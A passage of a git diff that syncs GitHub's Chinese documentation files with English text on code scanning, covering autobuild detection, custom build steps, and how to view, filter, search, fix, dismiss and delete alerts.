运行适当的命令来配置系统。 +1. Look for a build system in the root directory. +2. If none are found, search subdirectories for a unique directory with a build system for C/C++. +3. Run an appropriate command to configure the system. -### C +### C# -| 支持的系统类型 | 系统名称 | -| ------- | --------------------- | -| 操作系统 | Windows 和 Linux | -| 构建系统 | .NET 和 MSbuild，以及构建脚本 | +| Supported system type | System name | +|----|----| +| Operating system | Windows and Linux | +| Build system | .NET and MSbuild, as well as build scripts | -`autobuild` 进程尝试使用以下方法自动检测合适的 C# 构建方法： +The `autobuild` process attempts to autodetect a suitable build method for C# using the following approach: -1. 在最接近根目录的解决方案 (`.sln`) 或项目 (`.csproj`) 文件上调用 `dotnet build`。 -2. 在最接近根目录的解决方案或项目文件上调用 `MSbuild` (Linux) 或 `MSBuild.exe` (Windows)。 如果 `autobuild` 在顶层目录下的相同深度（最短）检测到多个解决方案或项目文件，它将尝试构建所有这些文件。 -3. 调用一个看起来像构建脚本的脚本—_build_ 和 _build.sh_（对于 Linux，按此顺序）或 _build.bat_、_build.cmd_ 和 _build.exe_（对于 Windows，按此顺序）。 +1. Invoke `dotnet build` on the solution (`.sln`) or project (`.csproj`) file closest to the root. +2. Invoke `MSbuild` (Linux) or `MSBuild.exe` (Windows) on the solution or project file closest to the root. +If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them. +3. Invoke a script that looks like a build script—_build_ and _build.sh_ (in that order, for Linux) or _build.bat_, _build.cmd_, _and build.exe_ (in that order, for Windows). ### Java -| 支持的系统类型 | 系统名称 | -| ------- | -------------------------- | -| 操作系统 | Windows、macOS 和 Linux（无限制） | -| 构建系统 | Gradle、Maven 和 Ant | +| Supported system type | System name | +|----|----| +| Operating system | Windows, macOS, and Linux (no restriction) | +| Build system | Gradle, Maven and Ant | -`autobuild` 进程尝试通过应用此策略来确定 Java 代码库的构建系统： +The `autobuild` process tries to determine the build system for Java codebases by applying this strategy: -1. 在根目录中搜索构建文件。 先后检查 Gradle、Maven 和 Ant 构建文件。 -2. 运行找到的第一个构建文件。 如果 Gradle 和 Maven 文件都存在，则使用 Gradle 文件。 -3. 否则，在根目录的直接子目录中搜索构建文件。 如果只有一个子目录包含构建文件，则运行该子目录中标识的第一个文件（使用与 1 相同的首选项）。 如果多个子目录包含构建文件，则报告错误。 +1. Search for a build file in the root directory. Check for Gradle then Maven then Ant build files. +2. Run the first build file found. If both Gradle and Maven files are present, the Gradle file is used. +3. Otherwise, search for build files in direct subdirectories of the root directory. If only one subdirectory contains build files, run the first file identified in that subdirectory (using the same preference as for 1). If more than one subdirectory contains build files, report an error. -## 添加编译语言的构建步骤 +## Adding build steps for a compiled language -{% data reusables.code-scanning.autobuild-add-build-steps %} 有关如何编辑工作流程文件的更多信息，请参阅“[配置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)”。 +{% data reusables.code-scanning.autobuild-add-build-steps %} For information on how to edit the workflow file, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." -删除 `autobuild` 步骤后，请取消注释 `run` 步骤并添加适合您仓库的构建命令。 工作流程 `run` 步骤使用操作系统的 shell 运行命令行程序。 您可以修改这些命令并添加更多命令来自定义构建过程。 +After removing the `autobuild` step, uncomment the `run` step and add build commands that are suitable for your repository. The workflow `run` step runs command-line programs using the operating system's shell. You can modify these commands and add more commands to customize the build process. ``` yaml - run: | @@ -112,9 +113,9 @@ topics: make release ``` -有关 `run` 关键词的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)”。 +For more information about the `run` keyword, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)." -如果仓库中包含多种编译语言，您可以指定特定于语言的构建命令。 例如，如果您的仓库包含 C/C++、C# 和 Java，并且 `autobuild` 正确地构建了 C/C++ 和 C#，但未能构建 Java，您可以在 `init` 步骤之后的工作流程中使用以下配置。 这将指定 Java 的构建步骤，而对 C/C++ 和 C# 仍然使用 `autobuild`： +If your repository contains multiple compiled languages, you can specify language-specific build commands. For example, if your repository contains C/C++, C# and Java, and `autobuild` correctly builds C/C++ and C# but fails to build Java, you could use the following configuration in your workflow, after the `init` step. This specifies build steps for Java while still using `autobuild` for C/C++ and C#: ```yaml - if: matrix.language == 'cpp' || matrix.language == 'csharp' @@ -128,8 +129,8 @@ topics: make release ``` -有关 `if` 条件的更多信息，请参阅“[GitHub 操作的工作流程语法](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif)”。 +For more information about the `if` conditional, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif)." -有关为什么 `autobuild` 无法构建代码的更多提示和技巧，请参阅“[{% data variables.product.prodname_codeql %} 工作流程疑难解答](/code-security/secure-coding/troubleshooting-the-codeql-workflow)”。 +For more tips and tricks about why `autobuild` won't build your code, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)." -如果您为编译语言添加了手动构建步骤，但 {% data variables.product.prodname_code_scanning %} 仍然无法处理您的仓库，请联系 {% data variables.contact.contact_support %}。 +If you added manual build steps for compiled languages and {% data variables.product.prodname_code_scanning %} is still not working on your repository, contact {% data variables.contact.contact_support %}. diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md index 07c0dd7643..4f9478f221 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md @@ -1,7 +1,7 @@ --- -title: 自动扫描代码以查找漏洞和错误 -shortTitle: 自动扫描代码 -intro: '您可以在 {% data variables.product.prodname_dotcom %} 上查找项目代码中的漏洞和错误。' +title: Automatically scanning your code for vulnerabilities and errors +shortTitle: Scan code automatically +intro: 'You can find vulnerabilities and errors in your project''s code on {% data variables.product.prodname_dotcom %}, as well as view, triage, understand, and resolve the related {% data variables.product.prodname_code_scanning %} alerts.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors @@ -27,5 +27,4 @@ children: - /running-codeql-code-scanning-in-a-container - /viewing-code-scanning-logs --- - diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md index d2592d481b..2b8052ebfc 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md @@ -1,7 +1,7 @@ --- -title: 管理仓库的代码扫描警报 -shortTitle: 管理警报 -intro: 从安全的角度，您可以查看、修复、忽略或删除项目代码中潜在漏洞或错误的警报。 +title: Managing code scanning alerts for your repository +shortTitle: Manage alerts +intro: 'From the security view, you can view, fix, dismiss, or delete alerts for potential vulnerabilities or errors in your project''s code.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permission to a repository you can manage {% data variables.product.prodname_code_scanning %} alerts for that repository.' versions: @@ -23,28 +23,27 @@ topics: - Alerts - Repositories --- - {% data reusables.code-scanning.beta %} -## 关于 {% data variables.product.prodname_code_scanning %} 中的警报 +## About alerts from {% data variables.product.prodname_code_scanning %} -您可以设置 {% data variables.product.prodname_code_scanning %}，以使用默认 {% data variables.product.prodname_codeql %} 分析、第三方分析或多种类型的分析来检查仓库中的代码。 分析完成后，生成的警报将并排显示在仓库的安全视图中。 第三方工具或自定义查询的结果可能不包括您在 {% data variables.product.company_short %} 的默认 {% data variables.product.prodname_codeql %} 分析所检测的警报中看到的所有属性。 更多信息请参阅“[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)”。 +You can set up {% data variables.product.prodname_code_scanning %} to check the code in a repository using the default {% data variables.product.prodname_codeql %} analysis, a third-party analysis, or multiple types of analysis. When the analysis is complete, the resulting alerts are displayed alongside each other in the security view of the repository. Results from third-party tools or from custom queries may not include all of the properties that you see for alerts detected by {% data variables.product.company_short %}'s default {% data variables.product.prodname_codeql %} analysis. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -默认情况下， {% data variables.product.prodname_code_scanning %} 定期在默认分支和拉取请求中分析您的代码。 有关管理拉取请求中的警报的更多信息，请参阅“[对拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报分类](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)”。 +By default, {% data variables.product.prodname_code_scanning %} analyzes your code periodically on the default branch and during pull requests. For information about managing alerts on a pull request, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." {% data reusables.code-scanning.upload-sarif-alert-limit %} -## 关于警报详细信息 +## About alerts details -每个警报都会高亮显示代码的问题以及识别该问题的工具名称。 You can see the line of code that triggered the alert, as well as properties of the alert, such as the severity{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, security severity,{% endif %} and the nature of the problem. 警报还会告知该问题第一次被引入的时间。 对于由 {% data variables.product.prodname_codeql %} 分析确定的警报，您还会看到如何解决问题的信息。 +Each alert highlights a problem with the code and the name of the tool that identified it. You can see the line of code that triggered the alert, as well as properties of the alert, such as the severity{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, security severity,{% endif %} and the nature of the problem. Alerts also tell you when the issue was first introduced. For alerts identified by {% data variables.product.prodname_codeql %} analysis, you will also see information on how to fix the problem. -![来自 {% data variables.product.prodname_code_scanning %} 的警报示例](/assets/images/help/repository/code-scanning-alert.png) +![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-alert.png) -如果使用 {% data variables.product.prodname_codeql %} 设置 {% data variables.product.prodname_code_scanning %}，也可以检测代码中的数据流问题。 数据流分析将查找代码中的潜在安全问题，例如：不安全地使用数据、将危险参数传递给函数以及泄漏敏感信息。 +If you set up {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, this can also detect data-flow problems in your code. Data-flow analysis finds potential security issues in code, such as: using data insecurely, passing dangerous arguments to functions, and leaking sensitive information. -当 {% data variables.product.prodname_code_scanning %} 报告数据流警报时，{% data variables.product.prodname_dotcom %} 将显示数据在代码中如何移动。 {% data variables.product.prodname_code_scanning_capc %} 可用于识别泄露敏感信息的代码区域，以及可能成为恶意用户攻击切入点的代码区域。 +When {% data variables.product.prodname_code_scanning %} reports data-flow alerts, {% data variables.product.prodname_dotcom %} shows you how data moves through the code. {% data variables.product.prodname_code_scanning_capc %} allows you to identify the areas of your code that leak sensitive information, and that could be the entry point for attacks by malicious users. ### About severity levels @@ -80,11 +79,11 @@ On the alert page, you can see that the filepath is marked as library code (`Lib ![Code scanning library alert details](/assets/images/help/repository/code-scanning-library-alert-show.png) -## 查看仓库的警报 +## Viewing the alerts for a repository -任何对仓库有读取权限的人都可以查看拉取请求上的 {% data variables.product.prodname_code_scanning %} 注释。 更多信息请参阅“[对拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报分类](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)”。 +Anyone with read permission for a repository can see {% data variables.product.prodname_code_scanning %} annotations on pull requests. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." -您需要写入权限才能在 **Security（安全）**选项卡上查看仓库所有警报的摘要。 +You need write permission to view a summary of all the alerts for a repository on the **Security** tab. By default, the code scanning alerts page is filtered to show alerts for the default branch of the repository only. @@ -92,36 +91,41 @@ By default, the code scanning alerts page is filtered to show alerts for the def {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -1. Optionally, use the free text search box or the drop-down menus to filter alerts. 例如，您可以通过用于识别警报的工具进行过滤。 ![Filter by tool](/assets/images/help/repository/code-scanning-filter-by-tool.png){% endif %} +1. Optionally, use the free text search box or the drop-down menus to filter alerts. For example, you can filter by the tool that was used to identify alerts. + ![Filter by tool](/assets/images/help/repository/code-scanning-filter-by-tool.png){% endif %} {% data reusables.code-scanning.explore-alert %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![警报摘要](/assets/images/help/repository/code-scanning-click-alert.png) + ![Summary of alerts](/assets/images/help/repository/code-scanning-click-alert.png) {% else %} - ![来自 {% data variables.product.prodname_code_scanning %} 的警报列表](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) + ![List of alerts from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) {% endif %} -1. （可选）如果警报突出显示数据流的问题，请单击 **Show paths（显示路径）**以显示从数据源到使用它的接收者的路径。 ![警报上的"显示路径"链接](/assets/images/help/repository/code-scanning-show-paths.png) -1. 来自 {% data variables.product.prodname_codeql %} 分析的警报包括对问题的描述。 单击 **Show more（显示更多）**以获取有关如何修复代码的指导。 ![警报的详细信息](/assets/images/help/repository/code-scanning-alert-details.png) +1. Optionally, if the alert highlights a problem with data flow, click **Show paths** to display the path from the data source to the sink where it's used. + ![The "Show paths" link on an alert](/assets/images/help/repository/code-scanning-show-paths.png) +1. Alerts from {% data variables.product.prodname_codeql %} analysis include a description of the problem. Click **Show more** for guidance on how to fix your code. + ![Details for an alert](/assets/images/help/repository/code-scanning-alert-details.png) {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} {% note %} -**注意：** 对于 {% data variables.product.prodname_codeql %} 的 {% data variables.product.prodname_code_scanning %} 分析，您可以在仓库的 {% data variables.product.prodname_code_scanning %} 警报列表顶部的标头中看到有关最新运行的信息。 +**Note:** For {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_codeql %}, you can see information about the latest run in a header at the top of the list of {% data variables.product.prodname_code_scanning %} alerts for the repository. -例如，您可以看到上次扫描运行的时间，所分析的代码行数与您仓库中的代码行总数的比较， 以及生成的警报总数。 ![UI 横幅](/assets/images/help/repository/code-scanning-ui-banner.png) +For example, you can see when the last scan ran, the number of lines of code analyzed compared to the total number of lines of code in your repository, and the total number of alerts that were generated. + ![UI banner](/assets/images/help/repository/code-scanning-ui-banner.png) {% endnote %} {% endif %} ## Filtering {% data variables.product.prodname_code_scanning %} alerts -You can filter the alerts shown in the {% data variables.product.prodname_code_scanning %} alerts view. This is useful if there are many alerts as you can focus on a particular type of alert. There are some predefined filters and a range of keywords that you can use to refine the list of alerts displayed. +You can filter the alerts shown in the {% data variables.product.prodname_code_scanning %} alerts view. This is useful if there are many alerts as you can focus on a particular type of alert. There are some predefined filters and a range of keywords that you can use to refine the list of alerts displayed. - To use a predefined filter, click **Filters**, or a filter shown in the header of the list of alerts, and choose a filter from the drop-down list. {% ifversion fpt or ghes > 3.0 or ghec %}![Predefined filters](/assets/images/help/repository/code-scanning-predefined-filters.png) {% else %}![Predefined filters](/assets/images/enterprise/3.0/code-scanning-predefined-filters.png){% endif %} - To use a keyword, either type directly in the filters text box, or: 1. Click in the filters text box to show a list of all available filter keywords. - 2. Click the keyword you want to use and then choose a value from the drop-down list. ![Keyword filters list](/assets/images/help/repository/code-scanning-filter-keywords.png) + 2. Click the keyword you want to use and then choose a value from the drop-down list. + ![Keyword filters list](/assets/images/help/repository/code-scanning-filter-keywords.png) The benefit of using keyword filters is that only values with results are shown in the drop-down lists. This makes it easy to avoid setting filters that find no results. @@ -133,36 +137,37 @@ You can use the "Only alerts in application code" filter or `autofilter:true` ke {% ifversion fpt or ghes > 3.1 or ghec %} -## 搜索 {% data variables.product.prodname_code_scanning %} 警报 +## Searching {% data variables.product.prodname_code_scanning %} alerts -您可以搜索警报列表。 如果仓库中存在大量警报，或者您不知道警报的确切名称，这很有用。 {% data variables.product.product_name %} 可执行以下自由文本搜索： -- 警报的名称 -- 警报描述 -- 警报详细信息（这也包括默认情况下在**显示更多**可折叠部分中隐藏的信息） +You can search the list of alerts. This is useful if there is a large number of alerts in your repository, or if you don't know the exact name for an alert for example. {% data variables.product.product_name %} performs the free text search across: +- The name of the alert +- The alert description +- The alert details (this also includes the information hidden from view by default in the **Show more** collapsible section) - ![搜索中使用的警报信息](/assets/images/help/repository/code-scanning-free-text-search-areas.png) + ![The alert information used in searches](/assets/images/help/repository/code-scanning-free-text-search-areas.png) -| 支持的搜索 | 语法示例 | 结果 | -| ------------------ | ------------------- | -------------------------------- | -| 单字搜索 | `injection` | 返回包含单词 `injection` 的所有警报 | -| 多字词搜索 | `sql injection` | 返回包含 `sql` 或 `injection` 的所有警报 | -| 精确匹配搜索
                    （使用双引号） | `"sql injection"` | 返回包含确切短语 `sql injection` 的所有警报 | -| OR 搜索 | `sql OR injection` | 返回包含 `sql` 或 `injection` 的所有警报 | -| AND 搜索 | `sql AND injection` | 返回包含单词 `sql` 和 `injection` 的所有警报 | +| Supported search | Syntax example | Results | +| ---- | ---- | ---- | +| Single word search | `injection` | Returns all the alerts containing the word `injection` | +| Multiple word search | `sql injection` | Returns all the alerts containing `sql` or `injection` | +| Exact match search
                    (use double quotes) | `"sql injection"` | Returns all the alerts containing the exact phrase `sql injection` | +| OR search | `sql OR injection` | Returns all the alerts containing `sql` or `injection` | +| AND search | `sql AND injection` | Returns all the alerts containing both words `sql` and `injection` | {% tip %} -**提示：** -- 多字词搜索等同于 OR 搜索。 -- AND 搜索将返回以任何顺序在警告名称、描述或详细信息中的_任意位置_找到搜索词的结果。 +**Tips:** +- The multiple word search is equivalent to an OR search. +- The AND search will return results where the search terms are found _anywhere_, in any order in the alert name, description, or details. {% endtip %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} -1. 在 **Filters（过滤器）**下拉菜单的右边，在自由文本搜索框中输入关键词以搜索。 ![自由文本搜索框](/assets/images/help/repository/code-scanning-search-alerts.png) -2. 按 return。 警报列表将包含与搜索条件匹配的未处理 {% data variables.product.prodname_code_scanning %} 警报。 +1. To the right of the **Filters** drop-down menus, type the keywords to search for in the free text search box. + ![The free text search box](/assets/images/help/repository/code-scanning-search-alerts.png) +2. Press return. The alert listing will contain the open {% data variables.product.prodname_code_scanning %} alerts matching your search criteria. {% endif %} @@ -175,79 +180,80 @@ You can use the "Only alerts in application code" filter or `autofilter:true` ke {% endif %} -## 修复警报 +## Fixing an alert -任何对仓库具有写入权限的人都可以通过提交对代码的更正来修复警报。 如果仓库已安排对拉取请求运行 {% data variables.product.prodname_code_scanning %}，则最好通过拉取请求提交您的更正。 这将触发对更改的 {% data variables.product.prodname_code_scanning %} 分析，并测试您的修复是否会带来任何新的问题。 更多信息请参阅“[配置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)”和“[对拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报分类](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)”。 +Anyone with write permission for a repository can fix an alert by committing a correction to the code. If the repository has {% data variables.product.prodname_code_scanning %} scheduled to run on pull requests, it's best to raise a pull request with your correction. This will trigger {% data variables.product.prodname_code_scanning %} analysis of the changes and test that your fix doesn't introduce any new problems. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." -如果您有仓库的写入权限，您可以通过查看警报摘要并单击 **Closed（已关闭）**来查看已修复的警报。 更多信息请参阅“[查看仓库的警报](#viewing-the-alerts-for-a-repository)”。 “Closed（已关闭）”列表显示已修复的警报和用户已忽略的警报。 +If you have write permission for a repository, you can view fixed alerts by viewing the summary of alerts and clicking **Closed**. For more information, see "[Viewing the alerts for a repository](#viewing-the-alerts-for-a-repository)." The "Closed" list shows fixed alerts and alerts that users have dismissed. -您可以使用{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} 自由文本搜索或{% endif %} 过滤器显示警报子集，然后依次将所有匹配的警报标记为已关闭。 +You can use{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then in turn mark all matching alerts as closed. -警报只能在一个分支中修复。 您可以在警报摘要上使用“Branch（分支）”下拉菜单检查警报是否是在特定分支中修复的。 +Alerts may be fixed in one branch but not in another. You can use the "Branch" drop-down menu, on the summary of alerts, to check whether an alert is fixed in a particular branch. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -![按分支过滤警报](/assets/images/help/repository/code-scanning-branch-filter.png) +![Filtering alerts by branch](/assets/images/help/repository/code-scanning-branch-filter.png) {% else %} -![按分支过滤警报](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-filter.png) +![Filtering alerts by branch](/assets/images/enterprise/3.1/help/repository/code-scanning-branch-filter.png) {% endif %} -## 忽略或删除警报 +## Dismissing or deleting alerts -有两种方法可以关闭警报。 您可以修复代码中的问题，也可以忽略警报。 或者，如果您具有仓库的管理员权限，您可以删除警报。 删除警报适用于以下情况：您设置了 {% data variables.product.prodname_code_scanning %} 工具，然后决定删除它，或者您配置了 {% data variables.product.prodname_codeql %} 分析，但查询集超出您的需求，于是您从工具中删除了某些查询。 在这两种情况下，删除警报允许您清理 {% data variables.product.prodname_code_scanning %} 结果。 您可以在 **Security（安全）**选项卡中从摘要列表删除警报。 +There are two ways of closing an alert. You can fix the problem in the code, or you can dismiss the alert. Alternatively, if you have admin permissions for the repository, you can delete alerts. Deleting alerts is useful in situations where you have set up a {% data variables.product.prodname_code_scanning %} tool and then decided to remove it, or where you have configured {% data variables.product.prodname_codeql %} analysis with a larger set of queries than you want to continue using, and you've then removed some queries from the tool. In both cases, deleting alerts allows you to clean up your {% data variables.product.prodname_code_scanning %} results. You can delete alerts from the summary list within the **Security** tab. -忽略警报是关闭您认为不需要修复的警报的一种方式。 {% data reusables.code-scanning.close-alert-examples %} 您可以从代码中的 {% data variables.product.prodname_code_scanning %} 注释忽略警报，或者从 **Security（安全）**选项卡中的摘要列表忽略警报。 +Dismissing an alert is a way of closing an alert that you don't think needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} You can dismiss alerts from {% data variables.product.prodname_code_scanning %} annotations in code, or from the summary list within the **Security** tab. -当您忽略警报时： +When you dismiss an alert: -- 它在所有分支中被忽略。 -- 警报将从项目的当前警报数中删除。 -- 警报被移动到警报摘要中的“Closed（已关闭）”列表，需要时您可以在其中重新打开它。 -- 将记录您关闭警报的原因。 -- {% data variables.product.prodname_code_scanning %} 下次运行时，相同的代码将不会生成警报。 +- It's dismissed in all branches. +- The alert is removed from the number of current alerts for your project. +- The alert is moved to the "Closed" list in the summary of alerts, from where you can reopen it, if required. +- The reason why you closed the alert is recorded. +- Next time {% data variables.product.prodname_code_scanning %} runs, the same code won't generate an alert. -当您删除警报时： +When you delete an alert: -- 它在所有分支中被删除。 -- 警报将从项目的当前警报数中删除。 -- 它_不会_添加到警报摘要中的“Closed（已关闭）”列表。 -- 如果生成警报的代码保持不变，并且相同的 {% data variables.product.prodname_code_scanning %} 工具在不更改任何配置的情况下再次运行，则该警报将再次显示在您的分析结果中。 +- It's deleted in all branches. +- The alert is removed from the number of current alerts for your project. +- It is _not_ added to the "Closed" list in the summary of alerts. +- If the code that generated the alert stays the same, and the same {% data variables.product.prodname_code_scanning %} tool runs again without any configuration changes, the alert will be shown again in your analysis results. -要忽略或删除警报： +To dismiss or delete alerts: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} -1. 如果您拥有仓库管理员权限，想要删除此 {% data variables.product.prodname_code_scanning %} 工具的警报，请选中部分或全部复选框，然后单击 **Delete（删除）**。 +1. If you have admin permissions for the repository, and you want to delete alerts for this {% data variables.product.prodname_code_scanning %} tool, select some or all of the check boxes and click **Delete**. - ![删除警报](/assets/images/help/repository/code-scanning-delete-alerts.png) + ![Deleting alerts](/assets/images/help/repository/code-scanning-delete-alerts.png) - （可选）您可以使用{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} 自由文本搜索或{% endif %} 过滤器显示警报子集，然后一次删除所有匹配的警报。 例如，如果您从 {% data variables.product.prodname_codeql %} 分析中删除了查询，您可以使用“Rule（规则）”过滤器仅列出该查询的警报，然后选择并删除所有这些警报。 + Optionally, you can use{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} the free text search or{% endif %} the filters to display a subset of alerts and then delete all matching alerts at once. For example, if you have removed a query from {% data variables.product.prodname_codeql %} analysis, you can use the "Rule" filter to list just the alerts for that query and then select and delete all of those alerts. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![按规则过滤警报](/assets/images/help/repository/code-scanning-filter-by-rule.png) + ![Filter alerts by rule](/assets/images/help/repository/code-scanning-filter-by-rule.png) {% else %} - ![按规则过滤警报](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png) + ![Filter alerts by rule](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png) {% endif %} -1. 如果要忽略警报，请务必先了解警报，以便选择正确的忽略原因。 单击要了解的警报。 +1. If you want to dismiss an alert, it's important to explore the alert first, so that you can choose the correct dismissal reason. Click the alert you'd like to explore. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - ![从摘要列表中打开警报](/assets/images/help/repository/code-scanning-click-alert.png) + ![Open an alert from the summary list](/assets/images/help/repository/code-scanning-click-alert.png) {% else %} - ![来自 {% data variables.product.prodname_code_scanning %} 的警报列表](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) + ![List of alerts from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) {% endif %} -1. 查看警报，然后单击 **Dismiss（忽略）**并选择关闭警报的原因。 ![选择忽略警报的原因](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) +1. Review the alert, then click **Dismiss** and choose a reason for closing the alert. + ![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) {% data reusables.code-scanning.choose-alert-dismissal-reason %} {% data reusables.code-scanning.false-positive-fix-codeql %} -### 一次忽略多个警报 +### Dismissing multiple alerts at once -如果项目有多个由于相同原因要忽略的警报，您可以从警报摘要中批量忽略它们。 通常，您需要过滤列表，然后忽略所有匹配的警报。 例如，您可能想要忽略项目中所有已标记为特定通用缺陷枚举 (CWE) 漏洞的当前警报。 +If a project has multiple alerts that you want to dismiss for the same reason, you can bulk dismiss them from the summary of alerts. Typically, you'll want to filter the list and then dismiss all of the matching alerts. For example, you might want to dismiss all of the current alerts in the project that have been tagged for a particular Common Weakness Enumeration (CWE) vulnerability. -## 延伸阅读 +## Further reading -- “[对拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报分类](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)” -- “[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)” -- "[关于与 {% data variables.product.prodname_code_scanning %} 集成](/code-security/secure-coding/about-integration-with-code-scanning)" +- "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)" +- "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" +- "[About integration with {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-integration-with-code-scanning)" diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md index 1b869c20d7..93999b69a9 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md @@ -1,7 +1,7 @@ --- -title: 为仓库设置代码扫描 -shortTitle: 设置代码扫描 -intro: '您可以通过添加工作流程到仓库来设置 {% data variables.product.prodname_code_scanning %}。' +title: Setting up code scanning for a repository +shortTitle: Set up code scanning +intro: 'You can set up {% data variables.product.prodname_code_scanning %} by adding a workflow to your repository.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permissions to a repository, you can set up or configure {% data variables.product.prodname_code_scanning %} for that repository.' redirect_from: @@ -24,91 +24,101 @@ topics: - Repositories --- - - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## 设置 {% data variables.product.prodname_code_scanning %} 的选项 +## Options for setting up {% data variables.product.prodname_code_scanning %} -在仓库级别决定如何生成 {% data variables.product.prodname_code_scanning %} 警报，以及使用哪些工具。 {% data variables.product.product_name %} 对 {% data 